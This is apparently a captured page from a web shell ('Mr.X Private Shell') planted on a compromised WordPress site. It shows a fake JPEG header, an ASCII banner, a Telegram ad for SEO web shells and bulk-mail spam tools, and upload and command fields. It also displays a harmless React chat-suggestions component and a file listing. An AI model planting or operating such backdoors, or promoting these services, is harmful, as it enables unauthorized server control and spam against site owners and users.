����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.217.65: ~ $
import { sparkle } from '@agent/icons';
import { useDomainActivities } from '@agent/state/domain-activities';
import { useSuggestionsStore } from '@agent/state/suggestions';
import { useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';
import {
	chevronRight,
	drafts,
	help,
	pencil,
	published,
	siteLogo,
	styles,
	swatch,
	typography,
	video,
} from '@wordpress/icons';

const icons = {
	styles,
	edit: pencil,
	help,
	video,
	sparkle,
	drafts,
	published,
	typography,
	pencil,
	siteLogo,
	swatch,
};

export const ChatSuggestions = ({ suggestions }) => {
	const { markAsClicked, isAvailable, getSuggestions } = useSuggestionsStore();
	const { setDomainActivity } = useDomainActivities();
	const [allSuggestions, setAllSuggestions] = useState(suggestions);

	const handleSelect = (suggestion) => {
		markAsClicked(suggestion);
		if (suggestion.tracking) {
			setDomainActivity({ ...suggestion.tracking, action: 'clicked' });
		}
		// External-link suggestions are plain links: the anchor opens the new tab.
		// They don't trigger a workflow or post a message in the chat.
		if (suggestion.type === 'external-link') return;
		window.dispatchEvent(
			new CustomEvent('extendify-agent:chat-submit', {
				detail: { message: suggestion.message },
			}),
		);
	};

	const handleShowMore = () => {
		const next = getSuggestions({ slice: 6, exclude: allSuggestions });
		setAllSuggestions((prev) => [...prev, ...next]);
	};

	if (!suggestions) return null;

	return (
		<>
			{allSuggestions.map((suggestion) => {
				// Hide them if it's not available to the user
				if (!isAvailable(suggestion)) return null;
				return (
					<SuggestionButton
						key={suggestion.message}
						suggestion={suggestion}
						onSelect={handleSelect}
					/>
				);
			})}
			<ShowMoreButton handleShowMore={handleShowMore} />
		</>
	);
};

const SuggestionButton = ({ suggestion, onSelect }) => {
	const icon = icons[suggestion?.icon] ?? icons.sparkle;
	const className =
		'group flex items-center justify-between rounded-sm bg-transparent px-1 py-1 text-left text-sm not-italic text-gray-900 transition-colors duration-100 hover:bg-gray-100 focus:outline-hidden focus:ring-2 focus:ring-design-main';
	const content = (
		<>
			<div className="flex items-center gap-1.5 leading-none">
				<span className="h-5 w-5 shrink-0 self-start fill-gray-700">
					{icon}
				</span>
				<span className="leading-5">{suggestion.message}</span>
			</div>
			<span className="inline-block h-5 w-5 fill-gray-700 leading-none opacity-0 transition-opacity duration-100 group-hover:opacity-100 rtl:scale-x-[-1]">
				{chevronRight}
			</span>
		</>
	);

	// External-link suggestions render as a real anchor that opens in a new tab.
	if (suggestion.type === 'external-link') {
		return (
			<a
				href={suggestion.url}
				target="_blank"
				rel="noopener noreferrer"
				className={`${className} no-underline`}
				onClick={() => onSelect(suggestion)}
			>
				{content}
			</a>
		);
	}

	return (
		<button
			type="button"
			className={className}
			onClick={() => onSelect(suggestion)}
		>
			{content}
		</button>
	);
};

const ShowMoreButton = ({ handleShowMore }) => {
	const [hide, setHide] = useState(false);
	const handleClick = () => {
		handleShowMore();
		setHide(true);
	};

	if (hide) return null;
	return (
		<button
			type="button"
			className="group flex w-full items-center gap-3 rounded-sm bg-transparent px-1 py-1 text-xs not-italic text-gray-800 transition-colors duration-100 hover:text-gray-900 focus:outline-hidden group"
			onClick={handleClick}
		>
			<span className="h-px flex-1 bg-gray-200" />
			<span className="group-hover:underline group-focus:ring-2 group-focus:ring-design-main">
				{__('Show more', 'extendify-local')}
			</span>
			<span className="h-px flex-1 bg-gray-200" />
		</button>
	);
};

Filemanager

Name Type Size Permission Actions
buttons Folder 0755
layouts Folder 0755
messages Folder 0755
redirects Folder 0755
ChatInput.jsx File 6.88 KB 0644
ChatMessages.jsx File 5.55 KB 0644
ChatSuggestions.jsx File 3.75 KB 0644
ChatTools.jsx File 1.35 KB 0644
DOMHighlighter.jsx File 8.25 KB 0644
ErrorMessage.jsx File 872 B 0644
GuidedTour.jsx File 14.88 KB 0644
ImageUploader.jsx File 6.03 KB 0644
OptionsPopover.jsx File 5.36 KB 0644
PageDocument.jsx File 1.06 KB 0644
Rating.jsx File 1.85 KB 0644
ScrollDownButton.jsx File 1.1 KB 0644
ScrollIntoViewOnce.jsx File 876 B 0644